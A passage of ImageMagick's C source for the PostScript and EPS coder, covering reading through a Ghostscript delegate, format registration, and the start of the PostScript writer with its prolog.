pdf_info->photoshop_profile=DestroyStringInfo(pdf_info->photoshop_profile); if (pdf_info->xmp_profile != (StringInfo *) NULL) pdf_info->xmp_profile=DestroyStringInfo(pdf_info->xmp_profile); } static Image *ReadPSImage(const ImageInfo *image_info,ExceptionInfo *exception) { char command[MaxTextExtent], *density, filename[MaxTextExtent], geometry[MaxTextExtent], input_filename[MaxTextExtent], message[MaxTextExtent], *options, postscript_filename[MaxTextExtent]; const char *option; const DelegateInfo *delegate_info; GeometryInfo geometry_info; Image *image, *next, *postscript_image; ImageInfo *read_info; int file; MagickBooleanType fitPage, status; MagickStatusType flags; PointInfo delta, resolution; PSInfo info; RectangleInfo page; ssize_t i; ssize_t count; unsigned long scene; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickCoreSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickCoreSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } status=AcquireUniqueSymbolicLink(image_info->filename,input_filename); if (status == MagickFalse) { ThrowFileException(exception,FileOpenError,"UnableToCreateTemporaryFile", image_info->filename); image=DestroyImageList(image); return((Image *) NULL); } /* Set the page density. */ delta.x=DefaultResolution; delta.y=DefaultResolution; if ((image->x_resolution == 0.0) || (image->y_resolution == 0.0)) { flags=ParseGeometry(PSDensityGeometry,&geometry_info); image->x_resolution=geometry_info.rho; image->y_resolution=geometry_info.sigma; if ((flags & SigmaValue) == 0) image->y_resolution=image->x_resolution; } if (image_info->density != (char *) NULL) { flags=ParseGeometry(image_info->density,&geometry_info); image->x_resolution=geometry_info.rho; image->y_resolution=geometry_info.sigma; if ((flags & SigmaValue) == 0) image->y_resolution=image->x_resolution; } (void) ParseAbsoluteGeometry(PSPageGeometry,&page); if (image_info->page != (char *) NULL) (void) ParseAbsoluteGeometry(image_info->page,&page); resolution.x=image->x_resolution; resolution.y=image->y_resolution; page.width=(size_t) ((ssize_t) ceil((double) (page.width* resolution.x/delta.x)-0.5)); page.height=(size_t) ((ssize_t) ceil((double) (page.height* resolution.y/delta.y)-0.5)); /* Determine page geometry from the Postscript bounding box. */ ReadPSInfo(image_info,image,&info); (void) CloseBlob(image); /* Set Postscript render geometry. */ if ((fabs(info.bounds.x2-info.bounds.x1) >= MagickEpsilon) && (fabs(info.bounds.y2-info.bounds.y1) >= MagickEpsilon)) { (void) FormatLocaleString(geometry,MaxTextExtent,"%gx%g%+.15g%+.15g", info.bounds.x2-info.bounds.x1,info.bounds.y2-info.bounds.y1, info.bounds.x1,info.bounds.y1); (void) SetImageProperty(image,"ps:HiResBoundingBox",geometry); page.width=(size_t) ((ssize_t) ceil((double) ((info.bounds.x2- info.bounds.x1)*resolution.x/delta.x)-0.5)); page.height=(size_t) ((ssize_t) ceil((double) ((info.bounds.y2- info.bounds.y1)*resolution.y/delta.y)-0.5)); } fitPage=MagickFalse; option=GetImageOption(image_info,"eps:fit-page"); if (option != (char *) NULL) { char *geometry; MagickStatusType flags; geometry=GetPageGeometry(option); flags=ParseMetaGeometry(geometry,&page.x,&page.y,&page.width, &page.height); if (flags == NoValue) { (void) ThrowMagickException(exception,GetMagickModule(),OptionError, "InvalidGeometry","`%s'",option); geometry=DestroyString(geometry); image=DestroyImage(image); return((Image *) NULL); } page.width=(size_t) ((size_t) ceil((double) (page.width* image->x_resolution/delta.x)-0.5)); page.height=(size_t) ((size_t) ceil((double) (page.height* image->y_resolution/delta.y)-0.5)); geometry=DestroyString(geometry); fitPage=MagickTrue; } if (IssRGBCompatibleColorspace(image_info->colorspace) != MagickFalse) info.cmyk=MagickFalse; /* Create Ghostscript control file. */ file=AcquireUniqueFileResource(postscript_filename); if (file == -1) { ThrowFileException(&image->exception,FileOpenError,"UnableToOpenFile", image_info->filename); CleanupPSInfo(&info); image=DestroyImageList(image); return((Image *) NULL); } (void) CopyMagickString(command,"/setpagedevice {pop} bind 1 index where {" "dup wcheck {3 1 roll put} {pop def} ifelse} {def} ifelse\n", MaxTextExtent); count=write(file,command,(unsigned int) strlen(command)); if (image_info->page == (char *) NULL) { char translate_geometry[MaxTextExtent]; (void) FormatLocaleString(translate_geometry,MaxTextExtent, "%g %g translate\n",-info.bounds.x1,-info.bounds.y1); count=write(file,translate_geometry,(unsigned int) strlen(translate_geometry)); } (void) count; file=close(file)-1; /* Render Postscript with the Ghostscript delegate. */ if (image_info->monochrome != MagickFalse) delegate_info=GetDelegateInfo("ps:mono",(char *) NULL,exception); else if (info.cmyk != MagickFalse) delegate_info=GetDelegateInfo("ps:cmyk",(char *) NULL,exception); else delegate_info=GetDelegateInfo("ps:alpha",(char *) NULL,exception); if (delegate_info == (const DelegateInfo *) NULL) { (void) RelinquishUniqueFileResource(postscript_filename); CleanupPSInfo(&info); image=DestroyImageList(image); return((Image *) NULL); } density=AcquireString(""); options=AcquireString(""); (void) FormatLocaleString(density,MaxTextExtent,"%gx%g",resolution.x, resolution.y); if (image_info->ping != MagickFalse) (void) FormatLocaleString(density,MagickPathExtent,"2.0x2.0"); (void) FormatLocaleString(options,MaxTextExtent,"-g%.20gx%.20g ",(double) page.width,(double) page.height); read_info=CloneImageInfo(image_info); *read_info->magick='\0'; if (read_info->number_scenes != 0) { char pages[MaxTextExtent]; (void) FormatLocaleString(pages,MaxTextExtent,"-dFirstPage=%.20g " "-dLastPage=%.20g ",(double) read_info->scene+1,(double) (read_info->scene+read_info->number_scenes)); (void) ConcatenateMagickString(options,pages,MaxTextExtent); read_info->number_scenes=0; if (read_info->scenes != (char *) NULL) *read_info->scenes='\0'; } if (*image_info->magick == 'E') { option=GetImageOption(image_info,"eps:use-cropbox"); if ((option == (const char *) NULL) || (IsStringTrue(option) != MagickFalse)) (void) ConcatenateMagickString(options,"-dEPSCrop ",MaxTextExtent); if (fitPage != MagickFalse) (void) ConcatenateMagickString(options,"-dEPSFitPage ",MaxTextExtent); } (void) CopyMagickString(filename,read_info->filename,MaxTextExtent); (void) AcquireUniqueFilename(filename); (void) RelinquishUniqueFileResource(filename); (void) ConcatenateMagickString(filename,"%d",MaxTextExtent); (void) FormatLocaleString(command,MaxTextExtent, GetDelegateCommands(delegate_info), read_info->antialias != MagickFalse ? 4 : 1, read_info->antialias != MagickFalse ? 4 : 1,density,options,filename, postscript_filename,input_filename); options=DestroyString(options); density=DestroyString(density); *message='\0'; status=InvokeGhostscriptDelegate(read_info->verbose,command,message, exception); (void) InterpretImageFilename(image_info,image,filename,1, read_info->filename); if ((status == MagickFalse) || (IsGhostscriptRendered(read_info->filename) == MagickFalse)) { (void) ConcatenateMagickString(command," -c showpage",MaxTextExtent); status=InvokeGhostscriptDelegate(read_info->verbose,command,message, exception); } (void) RelinquishUniqueFileResource(postscript_filename); (void) RelinquishUniqueFileResource(input_filename); postscript_image=(Image *) NULL; if (status == MagickFalse) for (i=1; ; i++) { (void) InterpretImageFilename(image_info,image,filename,(int) i, read_info->filename); if (IsGhostscriptRendered(read_info->filename) == MagickFalse) break; (void) RelinquishUniqueFileResource(read_info->filename); } else for (i=1; ; i++) { (void) InterpretImageFilename(image_info,image,filename,(int) i, read_info->filename); if (IsGhostscriptRendered(read_info->filename) == MagickFalse) break; read_info->blob=NULL; read_info->length=0; next=ReadImage(read_info,exception); (void) RelinquishUniqueFileResource(read_info->filename); if (next == (Image *) NULL) break; AppendImageToList(&postscript_image,next); } (void) RelinquishUniqueFileResource(read_info->filename); read_info=DestroyImageInfo(read_info); if (postscript_image == (Image *) NULL) { if (*message != '\0') (void) ThrowMagickException(exception,GetMagickModule(),DelegateError, "PostscriptDelegateFailed","`%s'",message); image=DestroyImageList(image); return((Image *) NULL); } if (LocaleCompare(postscript_image->magick,"BMP") == 0) { Image *cmyk_image; cmyk_image=ConsolidateCMYKImages(postscript_image,exception); if (cmyk_image != (Image *) NULL) { postscript_image=DestroyImageList(postscript_image); postscript_image=cmyk_image; } } if (info.icc_profile != (StringInfo *) NULL) (void) SetImageProfile(image,"icc",info.icc_profile); if (info.photoshop_profile != (StringInfo *) NULL) (void) SetImageProfile(image,"8bim",info.photoshop_profile); if (info.xmp_profile != (StringInfo *) NULL) (void) SetImageProfile(image,"xmp",info.xmp_profile); CleanupPSInfo(&info); if (image_info->number_scenes != 0) { Image *clone_image; ssize_t i; /* Add place holder images to meet the subimage specification requirement. */ for (i=0; i < (ssize_t) image_info->scene; i++) { clone_image=CloneImage(postscript_image,1,1,MagickTrue,exception); if (clone_image != (Image *) NULL) PrependImageToList(&postscript_image,clone_image); } } do { (void) CopyMagickString(postscript_image->filename,filename,MaxTextExtent); (void) CopyMagickString(postscript_image->magick,image->magick, MaxTextExtent); if (info.columns != 0) postscript_image->magick_columns=info.columns; if (info.rows != 0) postscript_image->magick_rows=info.rows; postscript_image->page=page; (void) CloneImageProfiles(postscript_image,image); (void) CloneImageProperties(postscript_image,image); next=SyncNextImageInList(postscript_image); if (next != (Image *) NULL) postscript_image=next; } while (next != (Image *) NULL); image=DestroyImageList(image); scene=0; for (next=GetFirstImageInList(postscript_image); next != (Image *) NULL; ) { next->scene=scene++; next=GetNextImageInList(next); } return(GetFirstImageInList(postscript_image)); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r P S I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % RegisterPSImage() adds properties for the PS image format to % the list of supported formats. The properties include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterPSImage method is: % % size_t RegisterPSImage(void) % */ ModuleExport size_t RegisterPSImage(void) { MagickInfo *entry; entry=SetMagickInfo("EPI"); entry->decoder=(DecodeImageHandler *) ReadPSImage; entry->encoder=(EncodeImageHandler *) WritePSImage; entry->magick=(IsImageFormatHandler *) IsPS; entry->seekable_stream=MagickTrue; entry->adjoin=MagickFalse; entry->blob_support=MagickFalse; entry->seekable_stream=MagickTrue; entry->description=ConstantString( "Encapsulated PostScript Interchange format"); entry->mime_type=ConstantString("application/postscript"); entry->magick_module=ConstantString("PS"); (void) RegisterMagickInfo(entry); entry=SetMagickInfo("EPS"); entry->decoder=(DecodeImageHandler *) ReadPSImage; entry->encoder=(EncodeImageHandler *) WritePSImage; entry->seekable_stream=MagickTrue; entry->magick=(IsImageFormatHandler *) IsPS; entry->adjoin=MagickFalse; entry->blob_support=MagickFalse; entry->seekable_stream=MagickTrue; entry->description=ConstantString("Encapsulated PostScript"); entry->mime_type=ConstantString("application/postscript"); entry->magick_module=ConstantString("PS"); (void) RegisterMagickInfo(entry); entry=SetMagickInfo("EPSF"); entry->decoder=(DecodeImageHandler *) ReadPSImage; entry->encoder=(EncodeImageHandler *) WritePSImage; entry->seekable_stream=MagickTrue; entry->magick=(IsImageFormatHandler *) IsPS; entry->adjoin=MagickFalse; entry->blob_support=MagickFalse; entry->seekable_stream=MagickTrue; entry->description=ConstantString("Encapsulated PostScript"); entry->mime_type=ConstantString("application/postscript"); entry->magick_module=ConstantString("PS"); (void) RegisterMagickInfo(entry); entry=SetMagickInfo("EPSI"); entry->decoder=(DecodeImageHandler *) ReadPSImage; entry->encoder=(EncodeImageHandler *) WritePSImage; entry->seekable_stream=MagickTrue; entry->magick=(IsImageFormatHandler *) IsPS; entry->adjoin=MagickFalse; entry->blob_support=MagickFalse; entry->seekable_stream=MagickTrue; entry->description=ConstantString( "Encapsulated PostScript Interchange format"); entry->mime_type=ConstantString("application/postscript"); entry->magick_module=ConstantString("PS"); (void) RegisterMagickInfo(entry); entry=SetMagickInfo("PS"); entry->decoder=(DecodeImageHandler *) ReadPSImage; entry->encoder=(EncodeImageHandler *) WritePSImage; entry->seekable_stream=MagickTrue; entry->magick=(IsImageFormatHandler *) IsPS; entry->mime_type=ConstantString("application/postscript"); entry->magick_module=ConstantString("PS"); entry->blob_support=MagickFalse; entry->seekable_stream=MagickTrue; entry->description=ConstantString("PostScript"); (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r P S I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % UnregisterPSImage() removes format registrations made by the % PS module from the list of supported formats. % % The format of the UnregisterPSImage method is: % % UnregisterPSImage(void) % */ ModuleExport void UnregisterPSImage(void) { (void) UnregisterMagickInfo("EPI"); (void) UnregisterMagickInfo("EPS"); (void) UnregisterMagickInfo("EPSF"); (void) UnregisterMagickInfo("EPSI"); (void) UnregisterMagickInfo("PS"); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % W r i t e P S I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % WritePSImage translates an image to encapsulated Postscript % Level I for printing. If the supplied geometry is null, the image is % centered on the Postscript page. Otherwise, the image is positioned as % specified by the geometry. % % The format of the WritePSImage method is: % % MagickBooleanType WritePSImage(const ImageInfo *image_info,Image *image) % % A description of each parameter follows: % % o image_info: the image info. % % o image: the image. % */ static inline unsigned char *PopHexPixel(const char hex_digits[][3], const size_t pixel,unsigned char *pixels) { const char *hex; hex=hex_digits[pixel]; *pixels++=(unsigned char) (*hex++); *pixels++=(unsigned char) (*hex); return(pixels); } static MagickBooleanType WritePSImage(const ImageInfo *image_info,Image *image) { #define WriteRunlengthPacket(image,pixel,length,p) \ { \ if ((image->matte != MagickFalse) && (length != 0) &&\ (GetPixelOpacity(p) == (Quantum) TransparentOpacity)) \ { \ q=PopHexPixel(hex_digits,0xff,q); \ q=PopHexPixel(hex_digits,0xff,q); \ q=PopHexPixel(hex_digits,0xff,q); \ } \ else \ { \ q=PopHexPixel(hex_digits,ScaleQuantumToChar(pixel.red),q); \ q=PopHexPixel(hex_digits,ScaleQuantumToChar(pixel.green),q); \ q=PopHexPixel(hex_digits,ScaleQuantumToChar(pixel.blue),q); \ } \ q=PopHexPixel(hex_digits,(size_t) MagickMin(length,0xff),q); \ } static const char hex_digits[][3] = { "00", "01", "02", "03", "04", "05", "06", "07", "08", "09", "0A", "0B", "0C", "0D", "0E", "0F", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "1A", "1B", "1C", "1D", "1E", "1F", "20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "2A", "2B", "2C", "2D", "2E", "2F", "30", "31", "32", "33", "34", "35", "36", "37", "38", "39", "3A", "3B", "3C", "3D", "3E", "3F", "40", "41", "42", "43", "44", "45", "46", "47", "48", "49", "4A", "4B", "4C", "4D", "4E", "4F", "50", "51", "52", "53", "54", "55", "56", "57", "58", "59", "5A", "5B", "5C", "5D", "5E", "5F", "60", "61", "62", "63", "64", "65", "66", "67", "68", "69", "6A", "6B", "6C", "6D", "6E", "6F", "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "7A", "7B", "7C", "7D", "7E", "7F", "80", "81", "82", "83", "84", "85", "86", "87", "88", "89", "8A", "8B", "8C", "8D", "8E", "8F", "90", "91", "92", "93", "94", "95", "96", "97", "98", "99", "9A", "9B", "9C", "9D", "9E", "9F", "A0", "A1", "A2", "A3", "A4", "A5", "A6", "A7", "A8", "A9", "AA", "AB", "AC", "AD", "AE", "AF", "B0", "B1", "B2", "B3", "B4", "B5", "B6", "B7", "B8", "B9", "BA", "BB", "BC", "BD", "BE", "BF", "C0", "C1", "C2", "C3", "C4", "C5", "C6", "C7", "C8", "C9", "CA", "CB", "CC", "CD", "CE", "CF", "D0", "D1", "D2", "D3", "D4", "D5", "D6", "D7", "D8", "D9", "DA", "DB", "DC", "DD", "DE", "DF", "E0", "E1", "E2", "E3", "E4", "E5", "E6", "E7", "E8", "E9", "EA", "EB", "EC", "ED", "EE", "EF", "F0", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "FA", "FB", "FC", "FD", "FE", "FF" }, PostscriptProlog[] = "%%BeginProlog\n" "%\n" "% Display a color image. The image is displayed in color on\n" "% Postscript viewers or printers that support color, otherwise\n" "% it is displayed as grayscale.\n" "%\n" "/DirectClassPacket\n" "{\n" " %\n" " % Get a DirectClass packet.\n" " %\n" " % Parameters:\n" " % red.\n" " % green.\n" " % blue.\n" " % length: number of pixels minus one of this color (optional).\n" " %\n" " currentfile color_packet readhexstring pop pop\n" " compression 0 eq\n" " {\n" " /number_pixels 3 def\n" " }\n" " {\n" " currentfile byte readhexstring pop 0 get\n" " /number_pixels exch 1 add 3 mul def\n" " } ifelse\n" " 0 3 number_pixels 1 sub\n" " {\n" " pixels exch color_packet putinterval\n" " } for\n" " pixels 0 number_pixels getinterval\n" "} bind def\n" "\n" "/DirectClassImage\n" "{\n" " %\n" " % Display a DirectClass image.\n" " %\n" " systemdict /colorimage known\n" " {\n" " columns rows 8\n" " [\n" " columns 0 0\n" " rows neg 0 rows\n" " ]\n" " { DirectClassPacket } false 3 colorimage\n" " }\n" " {\n" " %\n" " % No colorimage operator; convert to grayscale.\n" " %\n" " columns rows 8\n" " [\n" " columns 0 0\n" " rows neg 0 rows\n" " ]\n" " { GrayDirectClassPacket } image\n" " } ifelse\n" "} bind def\n" "\n" "/GrayDirectClassPacket\n" "{\n" " %\n" " % Get a DirectClass packet; convert to grayscale.\n" " %\n" " % Parameters:\n" " % red\n" " % green\n" " % blue\n" " % length: number of pixels minus one of this color (optional).\n" " %\n" " currentfile color_packet readhexstring pop pop\n" " color_packet 0 get 0.299 mul\n" " color_packet 1 get 0.587 mul add\n" " color_packet 2 get 0.114 mul add\n" " cvi\n" " /gray_packet exch def\n" " compression 0 eq\n" " {\n" " /number_pixels 1 def\n" " }\n" " {\n" " currentfile byte readhexstring pop 0 get\n" " /number_pixels exch 1 add def\n" " } ifelse\n" " 0 1 number_pixels 1 sub\n" " {\n" " pixels exch gray_packet put\n" " } for\n" " pixels 0 number_pixels getinterval\n" "} bind def\n" "\n" "/GrayPseudoClassPacket\n" "{\n" " %\n" " % Get a PseudoClass packet; convert to grayscale.\n" " %\n" " % Parameters:\n" " % index: index into the colormap.\n" " % length: number of pixels minus one of this color (optional).\n" " %\n" " currentfile byte readhexstring pop 0 get\n" " /offset exch 3 mul def\n" " /color_packet colormap offset 3 getinterval def\n" " color_packet 0 get 0.299 mul\n" " color_packet 1 get 0.587 mul add\n" " color_packet 2 get 0.114 mul add\n" " cvi\n" " /gray_packet exch def\n" " compression 0 eq\n" " {\n" " /number_pixels 1 def\n" " }\n" " {\n" " currentfile byte readhexstring pop 0 get\n" " /number_pixels exch 1 add def\n" " } ifelse\n" " 0 1 number_pixels 1 sub\n" " {\n" " pixels exch gray_packet put\n" " } for\n" " pixels 0 number_pixels getinterval\n" "} bind def\n" "\n" "/PseudoClassPacket\n" "{\n" " %\n" " % Get a PseudoClass packet.\n" " %\n" " % Parameters:\n" " % index: index into the colormap.\n" " % length: number of pixels minus one of this color (optional).\n" " %\n" " currentfile byte readhexstring pop 0 get\n" " /offset exch 3 mul def\n" " /color_packet colormap offset 3 getinterval def\n" " compression 0 eq\n" " {\n" " /number_pixels 3 def\n" " }\n" " {\n" " currentfile byte readhexstring pop 0 get\n" " /number_pixels exch 1 add 3 mul def\n" " } ifelse\n" " 0 3 number_pixels 1 sub\n" " {\n" " pixels exch color_packet putinterval\n" " } for\n" " pixels 0 number_pixels getinterval\n" "} bind def\n" "\n" "/PseudoClassImage\n" "{\n" " %\n" " % Display a PseudoClass image.\n" " %\n" " % Parameters:\n" " % class: 0-PseudoClass or 1-Grayscale.\n" " %\n" " currentfile buffer readline pop\n" " token pop /class exch def pop\n" " class 0 gt\n" " {\n" " currentfile buffer readline pop\n" " token pop /depth exch def pop\n" " /grays columns 8 add depth sub depth mul 8 idiv string def\n" " columns rows depth\n" " [\n" " columns 0 0\n" " rows neg 0 rows\n" " ]\n" " { currentfile grays readhexstring pop } image\n" " }\n" " {\n" " %\n" " % Parameters:\n" " % colors: number of colors in the colormap.\n" " % colormap: red, green, blue color packets.\n" " %\n" " currentfile buffer readline pop\n" " token pop /colors exch def pop\n" " /colors colors 3 mul def\n" " /colormap colors string def\n" " currentfile colormap readhexstring pop pop\n" " systemdict /colorimage known\n" " {\n" " columns rows 8\n" " [\n" " columns 0 0\n" " rows neg 0 rows\n" " ]\n" " { PseudoClassPacket } false 3 colorimage\n" " }\n" " {\n" " %\n" " % No colorimage operator; convert to grayscale.\n" " %\n" " columns rows 8\n" " [\n" " columns 0 0\n" " rows neg 0 rows\n" " ]\n" " { GrayPseudoClassPacket } image\n" " } ifelse\n" " } ifelse\n" "} bind def\n" "\n" "/DisplayImage\n" "{\n" " %\n" " % Display a DirectClass or PseudoClass image.\n" " %\n" " % Parameters:\n" " % x & y translation.\n" " % x & y scale.\n" " % label pointsize.\n" " % image label.\n" " % image columns & rows.\n" " % class: 0-DirectClass or 1-PseudoClass.\n" " % compression: 0-none or 1-RunlengthEncoded.\n" " % hex color packets.\n" " %\n" " gsave\n" " /buffer 512 string def\n" " /byte 1 string def\n" " /color_packet 3 string def\n" " /pixels 768 string def\n" "\n" " currentfile buffer readline pop\n" " token pop /x exch def\n" " token pop /y exch def pop\n" " x y translate\n" " currentfile buffer readline pop\n" " token pop /x exch def\n" " token pop /y exch def pop\n" " currentfile buffer readline pop\n" " token pop /pointsize exch def pop\n", PostscriptEpilog[] = " x y scale\n" " currentfile buffer readline pop\n" " token pop /columns exch def\n" " token pop /rows exch def pop\n" " currentfile buffer readline pop\n" " token pop /class exch def pop\n" " currentfile buffer readline pop\n" " token pop /compression exch def pop\n" " class 0 gt { PseudoClassImage } { DirectClassImage } ifelse\n" " grestore\n"; char buffer[MaxTextExtent], date[MaxTextExtent], **labels, page_geometry[MaxTextExtent]; CompressionType compression; const char *value; const StringInfo *profile; double pointsize; GeometryInfo geometry_info; IndexPacket index; MagickBooleanType status; MagickOffsetType scene; MagickStatusType flags; PixelPacket pixel; PointInfo delta, resolution, scale; RectangleInfo geometry, media_info, page_info; const IndexPacket *indexes; const PixelPacket *p; ssize_t i, x; unsigned char *q; SegmentInfo bounds; size_t bit, byte, imageListLength, length, page, text_size; ssize_t j, y; time_t timer; unsigned char pixels[2048]; /* Open output image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickCoreSignature); assert(image != (Image *) NULL); assert(image->signature == MagickCoreSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception); if (status == MagickFalse) return(status); (void) memset(&bounds,0,sizeof(bounds)); compression=image->compression; if (image_info->compression != UndefinedCompression) compression=image_info->compression; page=1; scene=0; imageListLength=GetImageListLength(image); do { /* Scale relative to dots-per-inch. */ if (image->colorspace != CMYKColorspace) (void) TransformImageColorspace(image,sRGBColorspace); delta.x=DefaultResolution; delta.y=DefaultResolution; resolution.x=image->x_resolution; resolution.y=image->y_resolution; if ((resolution.x == 0.0) || (resolution.y == 0.0)) { flags=ParseGeometry(PSDensityGeometry,&geometry_info); resolution.x=geometry_info.rho; resolution.y=geometry_info.sigma; if ((flags & SigmaValue) == 0) resolution.y=resolution.x; } if (image_info->density != (char *) NULL) { flags=ParseGeometry(image_info->density,&geometry_info); resolution.x=geometry_info.rho; resolution.y=geometry_info.sigma; if ((flags & SigmaValue) == 0) resolution.y=resolution.x; } if (image->units == PixelsPerCentimeterResolution) { resolution.x=(double) ((size_t) (100.0*2.54*resolution.x+0.5)/100.0); resolution.y=(double) ((size_t) (100.0*2.54*resolution.y+0.5)/100.0); } SetGeometry(image,&geometry); (void) FormatLocaleString(page_geometry,MaxTextExtent,"%.20gx%.20g", (double) image->columns,(double) image->rows); if (image_info->page != (char *) NULL) (void) CopyMagickString(page_geometry,image_info->page,MaxTextExtent); else if ((image->page.width != 0) && (image->page.height != 0)) (void) FormatLocaleString(page_geometry,MaxTextExtent, "%.20gx%.20g%+.20g%+.20g",(double) image->page.width,(double) image->page.height,(double) image->page.x,(double) image->page.y); else if ((image->gravity != UndefinedGravity) && (LocaleCompare(image_info->magick,"PS") == 0)) (void) CopyMagickString(page_geometry,PSPageGeometry,MaxTextExtent); (void) ConcatenateMagickString(page_geometry,">",MaxTextExtent); (void) ParseMetaGeometry(page_geometry,&geometry.x,&geometry.y, &geometry.width,&geometry.height); scale.x=PerceptibleReciprocal(resolution.x)*geometry.width*delta.x; geometry.width=(size_t) floor(scale.x+0.5); scale.y=PerceptibleReciprocal(resolution.y)*geometry.height*delta.y; geometry.height=(size_t) floor(scale.y+0.5); (void) ParseAbsoluteGeometry(page_geometry,&media_info); (void) ParseGravityGeometry(image,page_geometry,&page_info, &image->exception); if (image->gravity != UndefinedGravity) { geometry.x=(-page_info.x); geometry.y=(ssize_t) (media_info.height+page_info.y-image->rows); } pointsize=12.0; if (image_info->pointsize != 0.0) pointsize=image_info->pointsize; text_size=0; value=GetImageProperty(image,"label"); if (value != (const char *) NULL) text_size=(size_t) (MultilineCensus(value)*pointsize+12); if (page == 1) { /* Output Postscript header. */ if (LocaleCompare(image_info->magick,"PS") == 0) (void) CopyMagickString(buffer,"%!PS-Adobe-3.0\n",MaxTextExtent); else (void) CopyMagickString(buffer,"%!PS-Adobe-3.0 EPSF-3.0\n", MaxTextExtent); (void) WriteBlobString(image,buffer); (void) WriteBlobString(image,"%%Creator: (ImageMagick)\n"); (void) FormatLocaleString(buffer,MaxTextExtent,"%%%%Title: (%s)\n", image->filename); (void) WriteBlobString(image,buffer); timer=GetMagickTime(); (void) FormatMagickTime(timer,MaxTextExtent,date); (void) FormatLocaleString(buffer,MaxTextExtent, "%%%%CreationDate: (%s)\n",date); (void) WriteBlobString(image,buffer); bounds.x1=(double) geometry.x; bounds.y1=(double) geometry.y; bounds.x2=(double) geometry.x+scale.x; bounds.y2=(double) geometry.y+(geometry.height+text_size); if ((image_info->adjoin != MagickFalse) && (GetNextImageInList(image) != (Image *) NULL)) (void) CopyMagickString(buffer,"%%%%BoundingBox: (atend)\n", MaxTextExtent); else { (void) FormatLocaleString(buffer,MaxTextExtent, "%%%%BoundingBox: %.20g %.20g %.20g %.20g\n",ceil(bounds.x1-0.5), ceil(bounds.y1-0.5),floor(bounds.x2+0.5),floor(bounds.y2+0.5)); (void) WriteBlobString(image,buffer); (void) FormatLocaleString(buffer,MaxTextExtent, "%%%%HiResBoundingBox: %g %g %g %g\n",bounds.x1,bounds.y1, bounds.x2,bounds.y2); } (void) WriteBlobString(image,buffer); profile=GetImageProfile(image,"8bim"); if (profile != (StringInfo *) NULL) { /* Embed Photoshop profile. */ (void) FormatLocaleString(buffer,MaxTextExtent, "%%BeginPhotoshop: %.20g",(double) GetStringInfoLength(profile)); (void) WriteBlobString(image,buffer); for (i=0; i < (ssize_t) GetStringInfoLength(profile); i++) { if ((i % 32) == 0) (void) WriteBlobString(image,"\n% "); (void) FormatLocaleString(buffer,MaxTextExtent,"%02X", (unsigned int) (GetStringInfoDatum(profile)[i] & 0xff)); (void) WriteBlobString(image,buffer); } (void) WriteBlobString(image,"\n%EndPhotoshop\n"); } profile=GetImageProfile(image,"xmp"); value=GetImageProperty(image,"label"); if (value != (const char *) NULL) (void) WriteBlobString(image, "%%DocumentNeededResources: font Times-Roman\n"); (void) WriteBlobString(image,"%%DocumentData: Clean7Bit\n"); (void) WriteBlobString(image,"%%LanguageLevel: 1\n"); if (LocaleCompare(image_info->magick,"PS") != 0) (void) WriteBlobString(image,"%%Pages: 1\n"); else { /* Compute the number of pages. */ (void) WriteBlobString(image,"%%Orientation: Portrait\n"); (void) WriteBlobString(image,"%%PageOrder: Ascend\n"); (void) FormatLocaleString(buffer,MaxTextExtent,"%%%%Pages: %.20g\n", image_info->adjoin != MagickFalse ? (double) GetImageListLength(image) : 1.0); (void) WriteBlobString(image,buffer); } (void) WriteBlobString(image,"%%EndComments\n"); (void) WriteBlobString(image,"\n%%BeginDefaults\n"); (void) WriteBlobString(image,"%%EndDefaults\n\n"); if ((LocaleCompare(image_info->magick,"EPI") == 0) || (LocaleCompare(image_info->magick,"EPSI") == 0) || (LocaleCompare(image_info->magick,"EPT") == 0)) { Image *preview_image; Quantum pixel; ssize_t x; ssize_t y; /* Create preview image. */ preview_image=CloneImage(image,0,0,MagickTrue,&image->exception); if (preview_image == (Image *) NULL) ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); /* Dump image as bitmap. */ (void) FormatLocaleString(buffer,MaxTextExtent, "%%%%BeginPreview: %.20g %.20g %.20g %.20g\n%% ",(double) preview_image->columns,(double) preview_image->rows,1.0, (double) ((((preview_image->columns+7) >> 3)*preview_image->rows+ 35)/36)); (void) WriteBlobString(image,buffer); q=pixels; for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(preview_image,0,y,preview_image->columns,1, &preview_image->exception); if (p == (const PixelPacket *) NULL) break; indexes=GetVirtualIndexQueue(preview_image); bit=0; byte=0; for (x=0; x < (ssize_t) preview_image->columns; x++) { byte<<=1; 